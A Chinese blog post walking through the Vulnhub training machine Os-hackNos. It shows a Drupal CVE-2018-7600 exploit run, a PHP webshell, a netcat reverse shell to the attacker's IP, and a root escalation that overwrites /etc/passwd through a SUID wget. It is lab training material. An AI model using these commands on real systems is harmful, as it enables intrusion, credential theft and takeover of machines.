靶机训练1 - hackNos: Os-hackNos

靶机训练1 - hackNos: Os-hackNos

  • 靶机平台Vulnhub
    • 是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

靶机相关漏洞

前期准备

靶机介绍

  • 靶机下载地址
  • flag:2个flag第一个user.txt和第二个root.txt
  • 学习内容:
    • exploit(利用)
    • Web Application(Web应用程序 )
    • Enumeration(枚举)
    • Privilege Escalation(权限提升)

靶机安装

  • 从靶机下载地址下载靶机的镜像文件

image-20220626174223932

  • 打开vmware,直接导入(打开)虚拟机
    • 有可能遇到的问题
      • vmware的虚拟机无法使用桥接模式联网
      • 原因
        • vmware选择bridged模式时,要把网卡选为真实网卡,不能选到virtualbox的虚拟网卡上
        • VMware打开虚拟网络编程器
        • 去掉VOBX的虚拟网卡 ,或者把自动改为你电脑的网卡
  • 启动靶机
    • 靶机默认采用的是桥接模式

image-20220626174642763

信息收集

1. 找到攻击目标的IP地址

  • 查看kali本机的ip地址
    • ifconfig
      • 得到 192.168.31.239

image-20220630005952555

  • 通过nmap主机探测的获取其 IP地址

    • nmap -sP 192.168.31.0/24
      -sP: 只进行Ping扫描,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现
      在默认情况下,Nmap会发送一个ICMP请求和一个TCP报文到目标端口
      不会返回太多的信息造成对结果的分析,并且这是一种非常高效的扫描方式
      

靶机可能打开无法获取IP,我们需要使用方法来进入到靶机内,修改信息

vulnhub靶机练习-Os-hackNos-1,超详细使用 (shuzhiduo.com)

  • 如下图,没有VMware上运行的靶机

image-20220701002135875

  • 第一步:启动靶机时按下 shift 键,进入以下界面

image-20220701002622210

  • 第二步:选择第二个选项,然后按下 e 键,进入编辑界面

image-20220701002929006

  • 将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

image-20220701003221804

image-20220701003338376

image-20220701003514808

  • ip a 查看一下实际用的网卡,这里是ens33

image-20220701003739578

  • vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33
    • 按下 i 即可进入编辑模式

image-20220701004000624

  • 输入结束后,esc 退出编辑模式,输入:wq 保存且退出

image-20220701004127157

  • /etc/init.d/networking restart 重启网卡服务

image-20220701004220201

  • 按ctrl+alt+del 返回原界面并重启(或者直接手动重启虚拟机)

image-20220701004322492

  • 接着继续扫描靶机,即可看到靶机ip:192.168.31.76

image-20220701004640689

2. 端口扫描

  • 通过nmap进行端口扫描

    • nmap -sV -sC -A 192.168.31.76
       -sV 表示探测目标机器上的服务信息
      -sC sC参数表示使用nmap脚本进行探测
      -A 显示路由等信息
      
  • 扫描成功后,即可看到 开放的端口是 22 和80 端口

image-20220701004743503

  • 使用浏览器访问80端口,可以看到一个ubuntu的服务页面

image-20220701011446373

3. 目录扫描

  • 使用目录扫描器 gobuster,没有则安装(apt install gobuster)

    • gobuster help:输出完整的帮助信息
      
      gobuster dir -u http://192.168.31.76/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
      
      -dir 表示使用目录爆破模式
      -u 后接目标站点 url 
      -w 爆破的字典
      
  • 发现存在一个 /drupal 的目录

image-20220702010702745

  • 浏览器访问可以看到drupal的一个php的内容管理系统(CMS)

    • http://192.168.31.76/drupal/
      

image-20220702010959545

获取CMS 版本方法1

  • 可以下载一个系统来查看他的后台有那些目录,或者去查找相关的目录中的信息文件

image-20220702011823024

  • 然后去访问靶机的该文件,就可以看到其版本 为 7.57

image-20220702012104739

获取CMS版本方法2

image-20220702014114065

获取CMS的方法3

  • 使用浏览器插件wappalyzer查看网站基本信息

4. 发现CMS版本为7.57,可以网上查找是否存在exp

方法1 - github查询

  • 在github 查询 drupal 7.57,可以看到其 exp

image-20220702014824649

  • 默认相关的包在kali上是安装好的,用git 安装一下 exp

image-20220702015709880

  • 进入目录下执行,可以看到有很多参数提示

    • python3 drupa7-CVE-2018-7600.py -h
      

image-20220702015931574

  • 我们直接填写url

    • 默认输入了id,返回了用户www-data

    • python3 drupa7-CVE-2018-7600.py http://192.168.31.76/drupal/
      

image-20220702020400494

  • -c参数可以执行系统命令,如查询目录文件

    • python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c ls
      

image-20220702020739967

  • 浏览器访问数据库文件的页面

image-20220702020911205

  • 查看数据库文件,里面有数据库用户的账号和密码

    • python3 drupa7-CVE-2018-7600.py http://192.168.31.76/drupal/ -c "cat sites/default/settings.php"
      

image-20220702021244870

  • 在获取账号的同时也可以在对目录进行更深的扫描

    • gobuster dir -u http://192.168.31.76/drupal -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
      
  • 创建config.txt文件,写入账号和密码,后续可能有用

image-20220702021950052

5. 拿 shell - 给靶机上传木马

  • 创建一句话木马的php文件

    • <?php system($_POST['binge']);?>
      

image-20220702022508622

  • 在exp所在的目录下,开启python自带的httpserver,查看ip地址

    • python -m SimpleHTTPServer
      # 如果出现报错:Python – No Module named SimpleHTTPServer
      # 这是因为python的http server的module名字变了,改用
      python -m http.server 
      

image-20220702023512619

  • 鼠标右键水平布局终端

  • 在靶机上上传这个木马文件

    • python3 drupa7-CVE-2018-7600.py http://192.168.31.76/drupal/ -c "wget http://192.168.31.239:8000/binge2.php"
      

image-20220702023932019

  • 上传成功

image-20220704012802052

  • 查看exp是否上传成功

    • python3 drupa7-CVE-2018-7600.py http://192.168.31.76/drupal/ -c "ls"
      

image-20220704013118263

6. 通过代理,抓包改包

image-20220704014801620

  • 添加代理

image-20220704014954946

image-20220704015435461

image-20220704015612706

  • kali开启burpsuite抓包
    • 可以通过命令行开启
      • burpsuite

image-20220704015825156

  • 在burp这个页面设置代理

image-20220704020041039

  • 在浏览器访问靶机后,在burp上截包

image-20220704020444079

image-20220704020622831

  • 更改提交的方法

image-20220704020714032

  • 发送后可以看到成功获取,可以执行命令了

image-20220704023211712

做一个反弹 shell

  • 终端 监听 9001 端口

image-20220704225346561

  • 使用 nc 命令建立反弹shell

    • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.239 9001 >/tmp/f
      
      • kali的ip和监听的端口

image-20220704225644956

  • 将nc命令进行 url encode 编码后,放入url并发送

    • rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.31.239%209001%20%3E%2Ftmp%2Ff
      

image-20220704233022757

image-20220704233122990

  • 得到一个反弹shell

image-20220704232936265

  • 切换 shell

    • python3 -c 'import pty;pty.spawn("/bin/bash")'
      
  • 查看 id 与 ls 信息

image-20220704233628317

  • 查看密码文件

    • cat /etc/passwd
      

image-20220704233741509

  • 发现有一个james的用户,查看内容,看到一个用户文件,查看用户文件内容,拿到第一个flag

    • ls /home/james
      cat /home/james/user.txt
      flag:bae11ce4f67af91fa58576c1da2aad4b
      

image-20220704234135937

  • 先查看root 目录下有无其他文件信息,发现没有权限

    • ls /home/root/user.txt
      
  • 返回上一级目录,看到一个可疑文件 alexander.txt

image-20220704234632925

  • cat 文件内容发现密文,尝试用 burpsuite 进行破解

image-20220704235420476

  • 密文

    • KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
      
  • 解密后

    • +++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
      ----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
      ++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
      >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
      ++.<
      
  • 百度查看,发现是摩尔密文,使用在线工具进行解密后得到账号和密码

image-20220704235856613

  • 可以将其放入靶机文件夹下,可能有用

image-20220705000112885

  • 尝试切换用户登录 james,登录失败

image-20220705000406752

  • 之前有开放22端口,试着ssh登录,登录失败

image-20220705000558455

7. suid 提权

  • suid提权,需要搜索到,带有s的文件

    • find / -perm -u=s -type f 2>/dev/null
      

image-20220705000931130

  • 这里有一个wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password,需要先把 /etc/passwd 文件中的信息复制并保存到靶机文件目录下
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
james:x:1000:1000:james,,,:/home/james:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
  • 新建一个用户

image-20220705002032206

  • 将root的格式复制出来,对着修改,然后保存到 刚创建的 passwd 文件中

    • root:x:0:0:root:/root:/bin/bash
      新用户bingeok密码:$1$bingeok$rlEv4iJQXBuRCSLQuUv2R0
      替换后
      bingeok:$1$bingeok$rlEv4iJQXBuRCSLQuUv2R0:0:0:root:/root:/bin/bash
      

image-20220705002629942

  • 通过浏览器 访问一下passwd文件是否存在,以便后续把它下载到靶机

    • 前提是开启了 httpserver服务器

    • kali下访问: localhost:8000
      物理机:192.168.31.239:8000
      

image-20220705004822488

  • 在 shell 中通过wget命令下载并查看是否成功

    • wget http://192.168.31.239:8000/passwd -O /etc/passwd
      

image-20220705005046671

image-20220705005149166

  • 切换账号后,即可得到 root 权限

image-20220705005332451

  • 可以来到主目录,查看刚刚因为权限问题无法打开的user.txt文件,获取flag

image-20220705005527078

  • 查看ssh,ssh防护做的很好,还禁止明文登录

    • cat /etc/ssh/sshd_config
      

image-20220705005853250

posted @   bingekong  阅读(160)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示